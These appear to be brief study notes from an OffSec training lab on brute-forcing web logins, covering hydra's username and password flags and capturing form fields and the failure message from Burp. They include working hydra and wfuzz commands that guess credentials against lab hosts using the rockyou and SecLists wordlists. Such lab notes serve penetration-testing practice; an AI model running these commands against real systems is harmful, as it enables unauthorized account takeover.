There's difference between -l(name) and -L (files), -P (files) ,-p (password) so check for both*

→/index.php is page of the login and fm_usr and fm_pwd is from burp request and ” Login failed. Invalid” is the line from webpage failed login.

→Login failed. Invalid , this should be very accurate to get correctly. try doing with full command or some of what we see in failed login attempt. “Login failed. Invalid username or password”

hydra -L new.txt -P /usr/share/wordlists/rockyou.txt \\http-get://git.offseclab.io/api/v1/user

kali㉿kali)-[~] └─$ wfuzz -z list,Billy-Jack-Lucy-Roger-administrator -z file,/usr/share/wordlists/seclists/Passwords/2020-200_most_used_passwords.txt --basic FUZZ:FUZZ http://git.offseclab.io/api/v1/user > output.txt

========================================================================